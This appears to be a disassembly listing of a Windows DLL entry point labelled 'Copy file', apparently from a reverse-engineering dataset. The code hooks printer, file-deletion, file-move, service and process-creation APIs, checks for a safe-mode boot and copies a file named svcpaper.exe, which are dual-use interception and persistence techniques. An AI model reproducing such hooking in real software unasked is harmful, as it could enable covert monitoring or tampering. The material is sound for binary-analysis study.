Function at 0x5765aab0
Capabilities:
Copy file

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebp
mov ebp, dword [esp + 0x210]
push esi
mov dword [0x57687724], ebp
jne 0x5765aef6
push edi
push 0x104
push 0x5768a0ec
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5768a0ec
call fcn.57661160
mov edi, 0x5768a0ec
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5768a1f0
mov eax, ecx
mov esi, edi
mov edi, 0x5768a1f0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_CharLowerA]
push 0x5768a1f0
push str.dllmain_intro_:__s
call fcn.57653950
add esp, 8
call fcn.576599e0
test eax, eax
pop edi
je 0x5765ab53
mov eax, 1
pop esi
mov dword [0x5768a2fc], eax
pop ebp
add esp, 0x208
ret 0xc
call fcn.5765f120
mov ecx, 0x576894a0
call fcn.5765dec0
push 0x5768a1f0
call fcn.57653c80
add esp, 4
mov ecx, 0x57689480
mov dword [0x5768380c], eax
mov dword [0x57688808], 0
call fcn.5765ef50
cmp word [0x5768880a], 0
je 0x5765afc1
push 0x5768a0ec
call fcn.57661240
add esp, 4
test eax, eax
jne 0x5765afc1
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x57680050
mov dword [0x5768a0e8], eax
mov dword [0x57687724], ebp
call dword [fcn.576618b8]
call dword [fcn.5766182c]
mov esi, dword [0x5766186c]
push 0
push 0x576887f4
push 0x57659600
push str.DeletePrinter
push str.winspool.drv
call esi
push 0
push 0x5768948c
push 0x576545b0
push str.DeletePrinterDriverA
push str.winspool.drv
call esi
push 0
push 0x5768941c
push 0x57654710
push str.DeletePrinterDriverW
push str.winspool.drv
call esi
push 0
push 0x57689448
push 0x576548a0
push str.DeletePrinterDriverExA
push str.winspool.drv
call esi
push 0
push 0x57688834
push 0x57654a20
push str.DeletePrinterDriverExW
push str.winspool.drv
call esi
push 0
push 0x57687850
push 0x576544a0
push str.SetPrinterA
push str.winspool.drv
call esi
push 0
push 0x576887e8
push 0x57654530
push str.SetPrinterW
push str.winspool.drv
call esi
call fcn.57659d00
test eax, eax
je 0x5765aee0
push 0
push 0x57689434
push 0x57654ee0
push str.DeleteFileA
push str.kernel32.dll
call esi
push 0
push 0x576893a4
push 0x57655020
push str.DeleteFileW
push str.kernel32.dll
call esi
push 0
push 0x5768944c
push 0x57654bd0
push str.MoveFileA
push str.kernel32.dll
call esi
push 0
push 0x576893bc
push 0x57654c90
push str.MoveFileW
push str.kernel32.dll
call esi
push 0
push 0x57689420
push 0x57654d50
push str.MoveFileExA
push str.kernel32.dll
call esi
push 0
push 0x57689390
push 0x57654e20
push str.MoveFileExW
push str.kernel32.dll
call esi
push 0
push 0x5768a0e0
push 0x576543a0
push str.OpenServiceA
push str.Advapi32.dll
call esi
push 0
push 0x5768a0e4
push 0x57654420
push str.OpenServiceW
push str.Advapi32.dll
call esi
push 0x43
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x5765adcb
push 0x5768a1f0
push str.SafeMode_Boot____s
call fcn.57653950
add esp, 8
push 0
push 0x57687864
push 0x576540e0
push str.CreateProcessA
push str.kernel32.dll
call esi
push 0
push 0x57688820
push 0x57654000
push str.CreateProcessW
push str.kernel32.dll
call esi
push 0
push 0x5768772c
push 0x576541c0
push str.CreateProcessAsUserA
push str.kernel32.dll
call esi
push 0
push 0x57687740
push 0x576542b0
push str.CreateProcessAsUserW
push str.kernel32.dll
call esi
jmp 0x5765add8
push str.Normal_Mode_Boot
call fcn.57653950
add esp, 4
push 0
push 0x576887f8
push 0x57655940
push str.CreateDCA
push str.gdi32.dll
call esi
push 0
push 0x57687764
push 0x57655b30
push str.CreateDCW
push str.gdi32.dll
call esi
push 0
push 0x576893c4
push 0x57659880
push str.ResetDCA
push str.gdi32.dll
call esi
push 0
push 0x576893ec
push 0x576597a0
push str.ResetDCW
push str.gdi32.dll
call esi
push 0
push 0x57688830
push 0x57655ce0
push str.DeleteDC
push str.gdi32.dll
call esi
push 0
push 0x57689454
push 0x57655d70
push str.StartDocA
push str.gdi32.dll
call esi
push 0
push 0x57689400
push 0x57656020
push str.StartDocW
push str.gdi32.dll
call esi
push 0
push 0x576893d8
push 0x57659510
push str.EndDoc
push str.gdi32.dll
call esi
push 0
push 0x5768945c
push 0x57659450
push str.AbortDoc
push str.gdi32.dll
call esi
push 0
push 0x57687770
push 0x57658f30
push str.ExtEscape
push str.gdi32.dll
call esi
push 0
push 0x57687868
push 0x57658df0
push str.Escape
push str.gdi32.dll
call esi
call dword [fcn.57661858]
pop esi
mov eax, 1
pop ebp
add esp, 0x208
ret 0xc
test eax, eax
jne 0x5765afc1
call fcn.5765f140
mov eax, dword [0x57689484]
test eax, eax
je 0x5765af21
push eax
mov ecx, 0x57689480
call fcn.5765e5c0
mov dword [0x57689484], 0
mov eax, dword [0x5768a0e8]
test eax, eax
je 0x5765af31
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x5768a2fc]
test eax, eax
jne 0x5765afc1
mov eax, dword [0x57683a08]
test eax, eax
je 0x5765afc1
cmp word [0x5768880a], 0
je 0x5765afc1
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x576897b0
lea ecx, [esp + 0x110]
push str._sStartHK.HID
push ecx
mov byte [esp + 0x14], 0
mov byte [esp + 0x118], 0
call esi
add esp, 0xc
lea edx, [esp + 8]
push 0x576898b4
push str._s_svcpaper.exe
push edx
call esi
lea eax, [esp + 0x14]
push eax
call fcn.57661130
add esp, 0x10
test eax, eax
jne 0x5765afb1
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x110]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.5765a7c0
push 0x57680050
call dword [fcn.576618b4]
pop esi
mov eax, 1
pop ebp
add esp, 0x208
ret 0xc